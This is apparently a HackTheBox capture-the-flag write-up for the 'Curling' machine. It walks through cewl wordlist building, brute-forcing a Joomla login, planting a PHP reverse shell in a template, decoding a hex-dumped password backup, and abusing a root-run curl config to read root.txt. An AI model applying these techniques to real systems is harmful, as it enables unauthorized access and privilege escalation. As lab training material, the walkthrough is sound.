> For the complete documentation index, see [llms.txt](https://viperone.gitbook.io/pentest-everything/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://viperone.gitbook.io/pentest-everything/writeups/hackthebox/linux/curling.md). # Curling https\://app.hackthebox.com/machines/Curling ## Nmap ``` sudo nmap 10.10.10.150 -p- -sS -sV PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel ``` ### Web Server Checking the web server we are presented with the page for the "Cewl Curling site".

### Joomla Looking at the site icon we can see the target web server is running Joomla. Running `joomscan` against the host reveals Joomla is running on version 3.8.8.

### Cewl However, I was unable to identify any immediate exploit for this particular host. Back to the root page and the main site header "Cewl" is a hint for the tool `Cewl`.

`Cewl` is a tool which can create custom word lists by spidering URL's looking for words. I used the command below to generate a custom word list and specified a minimum length of five. ``` cewl http://10.10.10.150/ -d 5 -m 5 -o --with-numbers ``` ### Login Attempt After generating the word list I attempted a quick logon attempt to capture the request through `ZAProxy`.

After capturing the request I set the username as "super user" as this is the name given on the main home page blog entries and then set the password variable to the list generated by `Cewl`.

### Password Revision However, I was unable to get in with the username and password list. Looking at the list of passwords generated by Cewl we have an entry for `curling2018`. Which looks like a potential password. As this did not work I will instead write a few potential editions of this word. ``` curling2018 curling2019 curling2020 Curling2018 Curling2019 Curling2020 curling2018! curling2019! curling2020! Curling2018! Curling2019! Curling2020! ``` As well as this we notice one of the blog posts are signed off by the user *Floris*.

### Login Attempt #2 Repeating the login requests again with ZAP using the new username and revised password list we get a hit for the following credentials: `floris:Curling2018!`.

### Password Reuse After confirming the credentials are correct we find they are reused on the administrative login located at .

### Reverse Shell A quick Google search shows various articles for obtaining a reverse shell through the use of Joomla after obtaining administrative credentials. **URL:** Using the same steps as specified above we insert a pentest monkey PHP reverse shell under `index.php` in the template for protostar.

After setting up a listener and refreshing `/index.php` to trigger the shell we receive a connection back.

Check the user floris' home directory we find we are unable to read the user.txt flag.

### Horizontal Escalation We do have a file of interest within the home directory "password\_backup". Reading the ASCII file shows what appears to be a hex / packet dump. ``` 00000000: 425a 6839 3141 5926 5359 819b bb48 0000 BZh91AY&SY...H.. 00000010: 17ff fffc 41cf 05f9 5029 6176 61cc 3a34 ....A...P)ava.:4 00000020: 4edc cccc 6e11 5400 23ab 4025 f802 1960 N...n.T.#.@%...` 00000030: 2018 0ca0 0092 1c7a 8340 0000 0000 0000 ......z.@...... 00000040: 0680 6988 3468 6469 89a6 d439 ea68 c800 ..i.4hdi...9.h.. 00000050: 000f 51a0 0064 681a 069e a190 0000 0034 ..Q..dh........4 00000060: 6900 0781 3501 6e18 c2d7 8c98 874a 13a0 i...5.n......J.. 00000070: 0868 ae19 c02a b0c1 7d79 2ec2 3c7e 9d78 .h...*..}y..<~.x 00000080: f53e 0809 f073 5654 c27a 4886 dfa2 e931 .>...sVT.zH....1 00000090: c856 921b 1221 3385 6046 a2dd c173 0d22 .V...!3.`F...s." 000000a0: b996 6ed4 0cdb 8737 6a3a 58ea 6411 5290 ..n....7j:X.d.R. 000000b0: ad6b b12f 0813 8120 8205 a5f5 2970 c503 .k./... ....)p.. 000000c0: 37db ab3b e000 ef85 f439 a414 8850 1843 7..;.....9...P.C 000000d0: 8259 be50 0986 1e48 42d5 13ea 1c2a 098c .Y.P...HB....*.. 000000e0: 8a47 ab1d 20a7 5540 72ff 1772 4538 5090 .G.. .U@r..rE8P. 000000f0: 819b bb48 ...H ``` Looking at the magic bytes at the beginning of the output and running it through [Cyberchef](https://gchq.github.io/CyberChef/) we identify the bytes as belonging to a Bzip2 file.

the binary `xxd` can be used to rebuild the file as shown below. ``` xxd -r password_backup > /tmp/password_file ``` After rebuilding the file we need to iterate through multiple compression archives to extract the original document. ``` bzip2 -d password_file mv password_file.out password_file.gz gzip -d password_file.gz bzip2 -d password_file mv password_file.out password_file.tar tar -xvf password_file.tar cat password.txt ``` Reading password.txt gives us the SSH password for the user *floris*. **Password:** `5d ### SSH \ We are then able to authenticate over `SSH`.

### User Flag Where we can now grab the `user.txt` flag.

### Privilege Escalation In our home directory we have a directory named "admin-area". Which consists of two files which are owned by root and modifiable by floris. Runing pspy on the target system we get a better insight at what might be happening in this directory. We can see that periodically the command `/bin/sh -c curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report` is running.

We know that now root is executing curl on the contents of `input` and outputting it to `report`. Checking GTFOBins shows that curl can be used to perform privileged reads.

**GTFOBins:** We can use `nano` to edit the contents of `input` so we can read the `root.txt` flag. ``` url = "file:///root/root.txt" ```

After making the required changes we can use the `watch` command to monitor the `report` file for any changes. ``` watch cat report ``` ### Root Flag After a couple of minutes we see the contents of the **root** flag.